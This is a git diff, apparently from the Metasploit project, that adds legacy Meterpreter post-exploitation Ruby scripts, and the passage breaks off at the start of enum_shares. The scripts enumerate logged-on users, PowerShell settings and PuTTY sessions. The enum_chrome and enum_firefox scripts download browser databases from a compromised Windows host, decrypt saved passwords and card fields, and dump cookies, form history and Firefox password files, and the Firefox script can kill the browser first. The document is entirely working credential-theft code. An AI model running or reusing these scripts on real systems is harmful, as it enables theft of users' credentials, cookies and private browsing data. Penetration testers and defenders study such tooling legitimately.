end
|
||||
if @output_format.include?("text")
|
||||
::File.open(file + ".txt", "w") do |f|
|
||||
f.write(rows.first.keys.join("\t") + "\n")
|
||||
f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def process_files(username)
|
||||
@chrome_files.each do |item|
|
||||
in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
|
||||
out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
|
||||
if item[:sql]
|
||||
db = SQLite3::Database.new(in_file)
|
||||
columns, *rows = db.execute2(item[:sql])
|
||||
db.close
|
||||
rows.map! do |row|
|
||||
res = Hash[*columns.zip(row).flatten]
|
||||
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
|
||||
if @host_info['Architecture'] !~ /x64/
|
||||
item[:encrypted_fields].each do |field|
|
||||
print_good("decrypting field '#{field}'...")
|
||||
res[field + "_decrypted"] = decrypt_data(res[field])
|
||||
end
|
||||
else
|
||||
print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
|
||||
end
|
||||
end
|
||||
res
|
||||
end
|
||||
if rows.length > 0
|
||||
print_status("writing output '#{item[:out_file]}'...")
|
||||
write_output(out_file, rows)
|
||||
else
|
||||
print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
|
||||
end
|
||||
else
|
||||
::FileUtils.cp(in_file, out_file)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_data(username)
|
||||
chrome_path = @profiles_path + "\\" + username + @data_path
|
||||
begin
|
||||
client.fs.file.stat(chrome_path)
|
||||
rescue
|
||||
print_status("no files found for user '#{username}'")
|
||||
return false
|
||||
end
|
||||
|
||||
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
|
||||
remote_path = chrome_path + '\\' + f
|
||||
local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
|
||||
print_status("downloading file #{f} to '#{local_path}'...")
|
||||
client.fs.file.download_file(local_path, remote_path)
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
if @migrate
|
||||
current_pid = client.sys.process.open.pid
|
||||
target_pid = client.sys.process["explorer.exe"]
|
||||
if target_pid != current_pid
|
||||
@old_pid = current_pid
|
||||
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
|
||||
client.core.migrate(target_pid)
|
||||
print_status("done.")
|
||||
end
|
||||
end
|
||||
|
||||
host = session.session_host
|
||||
@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
|
||||
::FileUtils.mkdir_p(@log_dir)
|
||||
|
||||
sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
|
||||
os = @host_info['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
@profiles_path = sysdrive + "\\Users\\"
|
||||
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
@profiles_path = sysdrive + "\\Documents and Settings\\"
|
||||
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
||||
end
|
||||
|
||||
usernames = []
|
||||
|
||||
uid = client.sys.config.getuid
|
||||
|
||||
if is_system?
|
||||
print_status "running as SYSTEM, extracting user list..."
|
||||
print_status "(decryption of passwords and credit card numbers will not be possible)"
|
||||
client.fs.dir.foreach(@profiles_path) do |u|
|
||||
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
end
|
||||
print_status "users found: #{usernames.join(", ")}"
|
||||
else
|
||||
print_status "running as user '#{uid}'..."
|
||||
usernames << client.sys.config.getenv('USERNAME')
|
||||
prepare_railgun
|
||||
end
|
||||
|
||||
usernames.each do |u|
|
||||
print_status("extracting data for user '#{u}'...")
|
||||
success = extract_data(u)
|
||||
process_files(u) if success
|
||||
end
|
||||
|
||||
if @migrate && @old_pid
|
||||
print_status("migrating back into PID=#{@old_pid}...")
|
||||
client.core.migrate(@old_pid)
|
||||
print_status("done.")
|
||||
end
|
||||
|
||||
raise Rex::Script::Completed
|
292
scripts/meterpreter/enum_firefox.rb
Normal file
292
scripts/meterpreter/enum_firefox.rb
Normal file
@ -0,0 +1,292 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
require 'sqlite3'
|
||||
@client = client
|
||||
kill_frfx = false
|
||||
host,port = session.session_host, session.session_port
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
@logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo )
|
||||
|
||||
# logfile name
|
||||
logfile = @logs + "/" + host + filenameinfo + ".txt"
|
||||
notusrs = [
|
||||
"Default",
|
||||
"Default User",
|
||||
"Public",
|
||||
"LocalService",
|
||||
"NetworkService",
|
||||
"All Users"
|
||||
]
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for getting Firefox SQLite DB's
|
||||
def frfxplacesget(path,usrnm)
|
||||
# Create the log
|
||||
::FileUtils.mkdir_p(@logs)
|
||||
@client.fs.dir.foreach(path) {|x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
fullpath = path + '\\' + x
|
||||
if @client.fs.file.stat(fullpath).directory?
|
||||
frfxplacesget(fullpath,usrnm)
|
||||
elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i
|
||||
dst = x
|
||||
dst = @logs + ::File::Separator + usrnm + dst
|
||||
print_status("\tDownloading Firefox Database file #{x} to '#{dst}'")
|
||||
@client.fs.file.download_file(dst, fullpath)
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for processing the Firefox sqlite DB's
|
||||
def frfxdmp(usrnm)
|
||||
sitesvisited = []
|
||||
dnldsmade = []
|
||||
bkmrks = []
|
||||
cookies = []
|
||||
formvals = ''
|
||||
searches = ''
|
||||
results = ''
|
||||
placesdb = @logs + ::File::Separator + usrnm + "places.sqlite"
|
||||
formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite"
|
||||
searchdb = @logs + ::File::Separator + usrnm + "search.sqlite"
|
||||
cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite"
|
||||
bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt"
|
||||
download_list = @logs + ::File::Separator + usrnm + "_download_list.txt"
|
||||
url_history = @logs + ::File::Separator + usrnm + "_history.txt"
|
||||
form_history = @logs + ::File::Separator + usrnm + "_form_history.txt"
|
||||
search_history = @logs + ::File::Separator + usrnm + "_search_history.txt"
|
||||
begin
|
||||
print_status("\tGetting Firefox Bookmarks for #{usrnm}")
|
||||
db = SQLite3::Database.new(placesdb)
|
||||
#print_status("\tProcessing #{placesdb}")
|
||||
|
||||
db.execute('select a.url from moz_places a, moz_bookmarks b, '+
|
||||
'moz_bookmarks_roots c where a.id=b.fk and parent=2'+
|
||||
' and folder_id=2 and a.hidden=0') do |row|
|
||||
bkmrks << row
|
||||
end
|
||||
print_status("\tSaving to #{bookmarks}")
|
||||
if bkmrks.length != 0
|
||||
bkmrks.each do |b|
|
||||
file_local_write(bookmarks,"\t#{b.to_s}\n")
|
||||
end
|
||||
else
|
||||
print_status("\tIt appears that there are no bookmarks for this account")
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
#--------------------------------------------------------------------------
|
||||
begin
|
||||
print_status("\tGetting list of Downloads using Firefox made by #{usrnm}")
|
||||
db.execute('SELECT url FROM moz_places, moz_historyvisits ' +
|
||||
'WHERE moz_places.id = moz_historyvisits.place_id '+
|
||||
'AND visit_type = "7" ORDER by visit_date') do |row|
|
||||
dnldsmade << row
|
||||
end
|
||||
print_status("\tSaving Download list to #{download_list}")
|
||||
if dnldsmade.length != 0
|
||||
dnldsmade.each do |d|
|
||||
file_local_write(download_list,"\t#{d.to_s} \n")
|
||||
end
|
||||
else
|
||||
print_status("\tIt appears that downloads where cleared for this account")
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
#--------------------------------------------------------------------------
|
||||
begin
|
||||
print_status("\tGetting Firefox URL History for #{usrnm}")
|
||||
db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' +
|
||||
'WHERE moz_places.id = moz_historyvisits.place_id ' +
|
||||
'AND visit_type = "1" ORDER by visit_date' ) do |row|
|
||||
sitesvisited << row
|
||||
end
|
||||
print_status("\tSaving URL History to #{url_history}")
|
||||
if sitesvisited.length != 0
|
||||
sitesvisited.each do |s|
|
||||
file_local_write(url_history,"\t#{s.to_s}\n")
|
||||
end
|
||||
else
|
||||
print_status("\tIt appears that Browser History has been cleared")
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
#--------------------------------------------------------------------------
|
||||
begin
|
||||
print_status("\tGetting Firefox Form History for #{usrnm}")
|
||||
db = SQLite3::Database.new(formdb)
|
||||
#print_status("\tProcessing #{formdb}")
|
||||
db.execute("SELECT fieldname,value FROM moz_formhistory") do |row|
|
||||
formvals << "\tField: #{row[0]} Value: #{row[1]}\n"
|
||||
end
|
||||
print_status("\tSaving Firefox Form History to #{form_history}")
|
||||
if formvals.length != 0
|
||||
file_local_write(form_history,formvals)
|
||||
else
|
||||
print_status("\tIt appears that Form History has been cleared")
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("\tGetting Firefox Search History for #{usrnm}")
|
||||
db = SQLite3::Database.new(searchdb)
|
||||
#print_status("\tProcessing #{searchdb}")
|
||||
db.execute("SELECT name,value FROM engine_data") do |row|
|
||||
searches << "\tField: #{row[0]} Value: #{row[1]}\n"
|
||||
end
|
||||
print_status("\tSaving Firefox Search History to #{search_history}")
|
||||
if searches.length != 0
|
||||
file_local_write(search_history,searches)
|
||||
else
|
||||
print_status("\tIt appears that Search History has been cleared")
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
# Create Directory for dumping Firefox cookies
|
||||
ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}")
|
||||
::FileUtils.mkdir_p(ckfldr)
|
||||
db = SQLite3::Database.new(cookiesdb)
|
||||
db.results_as_hash = true
|
||||
print_status("\tGetting Firefox Cookies for #{usrnm}")
|
||||
db.execute("SELECT * FROM moz_cookies;" ) do |item|
|
||||
fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+")
|
||||
fd.puts "Name: " + item['name'] + "\n"
|
||||
fd.puts "Value: " + item['value'].to_s + "\n"
|
||||
fd.puts "Host: " + item['host'] + "\n"
|
||||
fd.puts "Path: " + item['path'] + "\n"
|
||||
fd.puts "Expiry: " + item['expiry'].to_s + "\n"
|
||||
fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n"
|
||||
fd.puts "isSecure: " + item['isSecure'].to_s + "\n"
|
||||
fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n"
|
||||
fd.close
|
||||
end
|
||||
return results
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for getting password files
|
||||
def frfxpswd(path,usrnm)
|
||||
@client.fs.dir.foreach(path) {|x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
fullpath = path + '\\' + x
|
||||
|
||||
if @client.fs.file.stat(fullpath).directory?
|
||||
frfxpswd(fullpath,usrnm)
|
||||
elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
|
||||
begin
|
||||
dst = x
|
||||
dst = @logs + ::File::Separator + usrnm + dst
|
||||
print_status("\tDownloading Firefox Password file to '#{dst}'")
|
||||
@client.fs.file.download_file(dst, fullpath)
|
||||
rescue
|
||||
print_error("\t******Failed to download file #{x}******")
|
||||
print_error("\t******Browser could be running******")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
# Function for checking if Firefox is installed
|
||||
def frfxchk
|
||||
found = false
|
||||
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a|
|
||||
if a =~ /Firefox/
|
||||
print_status("Firefox was found on this system.")
|
||||
found = true
|
||||
end
|
||||
end
|
||||
return found
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for executing all pilfering actions for Firefox
|
||||
def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile)
|
||||
print_status("Getting Firefox information for user #{usrnm}")
|
||||
frfxplacesget(frfoxdbloc,usrnm)
|
||||
frfxpswd(frfoxdbloc,usrnm)
|
||||
file_local_write(logfile,frfxdmp(usrnm))
|
||||
end
|
||||
|
||||
# Function to kill Firefox if open
|
||||
def kill_firefox
|
||||
print_status("Killing the Firefox Process if open...")
|
||||
@client.sys.process.get_processes().each do |x|
|
||||
if x['name'].downcase == "firefox.exe"
|
||||
print_status("\tFirefox Process found #{x['name']} #{x['pid']}")
|
||||
print_status("\tKilling process .....")
|
||||
session.sys.process.kill(x['pid'])
|
||||
end
|
||||
end
|
||||
end
|
||||
####################### Options ###########################
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."]
|
||||
|
||||
)
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for extracting Firefox Browser."
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-k"
|
||||
kill_frfx = true
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if frfxchk
|
||||
user = @client.sys.config.getuid
|
||||
if not is_system?
|
||||
envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')
|
||||
usrname = envs['USERNAME']
|
||||
db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"
|
||||
if kill_frfx
|
||||
kill_firefox
|
||||
end
|
||||
print_status("Extracting Firefox data for user #{usrname}")
|
||||
frfxpswd(db_path,usrname)
|
||||
frfxplacesget(db_path,usrname)
|
||||
frfxdmp(usrname)
|
||||
else
|
||||
registry_enumkeys("HKU").each do |sid|
|
||||
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/
|
||||
key_base = "HKU\\#{sid}"
|
||||
usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME"))
|
||||
db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles"
|
||||
if kill_frfx
|
||||
kill_firefox
|
||||
end
|
||||
print_status("Extracting Firefox data for user #{usrname}")
|
||||
frfxpswd(db_path,usrname)
|
||||
frfxplacesget(db_path,usrname)
|
||||
frfxdmp(usrname)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
101
scripts/meterpreter/enum_logged_on_users.rb
Normal file
101
scripts/meterpreter/enum_logged_on_users.rb
Normal file
@ -0,0 +1,101 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
@client = client
|
||||
#-------------------------------------------------------------------------------
|
||||
|
||||
######################## Functions ########################
|
||||
def ls_logged
|
||||
sids = []
|
||||
sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Logged Users",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"SID",
|
||||
"Profile Path"
|
||||
])
|
||||
sids.flatten.each do |sid|
|
||||
profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath")
|
||||
tbl << [sid,profile_path]
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
end
|
||||
|
||||
def ls_current
|
||||
key_base, username = "",""
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Current Logged Users",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"SID",
|
||||
"User"
|
||||
])
|
||||
registry_enumkeys("HKU").each do |sid|
|
||||
case sid
|
||||
when "S-1-5-18"
|
||||
username = "SYSTEM"
|
||||
tbl << [sid,username]
|
||||
when "S-1-5-19"
|
||||
username = "Local Service"
|
||||
tbl << [sid,username]
|
||||
when "S-1-5-20"
|
||||
username = "Network Service"
|
||||
tbl << [sid,username]
|
||||
else
|
||||
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
|
||||
key_base = "HKU\\#{sid}"
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA")
|
||||
username = ''
|
||||
if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/
|
||||
username = $1
|
||||
end
|
||||
end
|
||||
tbl << [sid,username]
|
||||
end
|
||||
end
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
####################### Options ###########################
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-l" => [ false, "List SID's of users who have loged in to the host." ],
|
||||
"-c" => [ false, "List SID's of currently loged on users." ]
|
||||
)
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system."
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-l"
|
||||
ls_logged
|
||||
when "-c"
|
||||
ls_current
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if args.length == 0
|
||||
print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system."
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
132
scripts/meterpreter/enum_powershell_env.rb
Normal file
132
scripts/meterpreter/enum_powershell_env.rb
Normal file
@ -0,0 +1,132 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#Meterpreter script for enumerating Microsoft Powershell settings.
|
||||
#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
|
||||
@client = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations")
|
||||
print_line("USAGE: run enum_scripting_env")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
#Support Functions
|
||||
#-------------------------------------------------------------------------------
|
||||
def enum_users
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
users = []
|
||||
user = @client.sys.config.getuid
|
||||
path4users = ""
|
||||
sysdrv = @client.sys.config.getenv('SystemDrive')
|
||||
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
path4users = sysdrv + "\\Users\\"
|
||||
profilepath = "\\Documents\\WindowsPowerShell\\"
|
||||
else
|
||||
path4users = sysdrv + "\\Documents and Settings\\"
|
||||
profilepath = "\\My Documents\\WindowsPowerShell\\"
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_status("Running as SYSTEM extracting user list..")
|
||||
@client.fs.dir.foreach(path4users) do |u|
|
||||
userinfo = {}
|
||||
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
userinfo['username'] = u
|
||||
userinfo['userappdata'] = path4users + u + profilepath
|
||||
users << userinfo
|
||||
end
|
||||
else
|
||||
userinfo = {}
|
||||
uservar = @client.sys.config.getenv('USERNAME')
|
||||
userinfo['username'] = uservar
|
||||
userinfo['userappdata'] = path4users + uservar + profilepath
|
||||
users << userinfo
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
def enum_powershell
|
||||
#Check if PowerShell is Installed
|
||||
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
||||
print_status("Powershell is Installed on this system.")
|
||||
powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion")
|
||||
print_status("Version: #{powershell_version}")
|
||||
#Get PowerShell Execution Policy
|
||||
begin
|
||||
powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy")
|
||||
rescue
|
||||
powershell_policy = "Restricted"
|
||||
end
|
||||
print_status("Execution Policy: #{powershell_policy}")
|
||||
powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path")
|
||||
print_status("Path: #{powershell_path}")
|
||||
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
|
||||
print_status("Powershell Snap-Ins:")
|
||||
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
|
||||
print_status("\tSnap-In: #{si}")
|
||||
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
|
||||
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_status("No PowerShell Snap-Ins are installed")
|
||||
|
||||
end
|
||||
if powershell_version =~ /2./
|
||||
print_status("Powershell Modules:")
|
||||
powershell_module_path = @client.sys.config.getenv('PSModulePath')
|
||||
@client.fs.dir.foreach(powershell_module_path) do |m|
|
||||
next if m =~ /^(\.|\.\.)$/
|
||||
print_status("\t#{m}")
|
||||
end
|
||||
end
|
||||
tmpout = []
|
||||
print_status("Checking if users have Powershell profiles")
|
||||
enum_users.each do |u|
|
||||
print_status("Checking #{u['username']}")
|
||||
begin
|
||||
@client.fs.dir.foreach(u["userappdata"]) do |p|
|
||||
next if p =~ /^(\.|\.\.)$/
|
||||
if p =~ /Microsoft.PowerShell_profile.ps1/
|
||||
ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
|
||||
until ps_profile.eof?
|
||||
tmpout << ps_profile.read
|
||||
end
|
||||
ps_profile.close
|
||||
if tmpout.length == 1
|
||||
print_status("Profile for #{u["username"]} not empty, it contains:")
|
||||
tmpout.each do |l|
|
||||
print_status("\t#{l.strip}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
enum_powershell
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
104
scripts/meterpreter/enum_putty.rb
Normal file
104
scripts/meterpreter/enum_putty.rb
Normal file
@ -0,0 +1,104 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for enumerating putty connections
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
|
||||
#
|
||||
@client = client
|
||||
#Options and Option Parsing
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for enumerating Putty Configuration."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
def hkcu_base
|
||||
key_base = []
|
||||
|
||||
if not is_system?
|
||||
key_base << "HKCU"
|
||||
else
|
||||
key = "HKU\\"
|
||||
root_key, base_key = @client.sys.registry.splitkey(key)
|
||||
open_key = @client.sys.registry.open_key(root_key, base_key)
|
||||
keys = open_key.enum_key
|
||||
keys.each do |k|
|
||||
if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
|
||||
key_base << "HKU\\#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
return key_base
|
||||
end
|
||||
def check_putty(reg_key_base)
|
||||
installed = false
|
||||
app_list = []
|
||||
app_list = registry_enumkeys("#{reg_key_base}\\Software")
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME")
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA")
|
||||
username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/)
|
||||
end
|
||||
if app_list.index("SimonTatham")
|
||||
print_status("Putty Installed for #{username_profile}")
|
||||
installed = true
|
||||
end
|
||||
return installed
|
||||
end
|
||||
|
||||
def enum_known_ssh_hosts(reg_key_base)
|
||||
print_status("Saved SSH Server Public Keys:")
|
||||
registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host|
|
||||
print_status("\t#{host}")
|
||||
end
|
||||
end
|
||||
|
||||
def enum_saved_sessions(reg_key_base)
|
||||
saved_sessions = []
|
||||
sessions_protocol = ""
|
||||
sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions"
|
||||
saved_sessions = registry_enumkeys(sessions_key)
|
||||
if saved_sessions.length > 0
|
||||
saved_sessions.each do |saved_session|
|
||||
print_status("Session #{saved_session}:")
|
||||
sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol")
|
||||
if sessions_protocol =~ /ssh/
|
||||
print_status("\tProtocol: SSH")
|
||||
print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}")
|
||||
print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}")
|
||||
print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}")
|
||||
elsif sessions_protocol =~ /serial/
|
||||
print_status("\tProtocol: Serial")
|
||||
print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}")
|
||||
print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}")
|
||||
print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}")
|
||||
print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
hkcu_base.each do |hkb|
|
||||
if check_putty(hkb)
|
||||
enum_known_ssh_hosts(hkb)
|
||||
enum_saved_sessions(hkb)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
124
scripts/meterpreter/enum_shares.rb
Normal file
124
scripts/meterpreter/enum_shares.rb
Normal file
@ -0,0 +1,124 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
opts = Rex::Parser::Arguments.new(
|
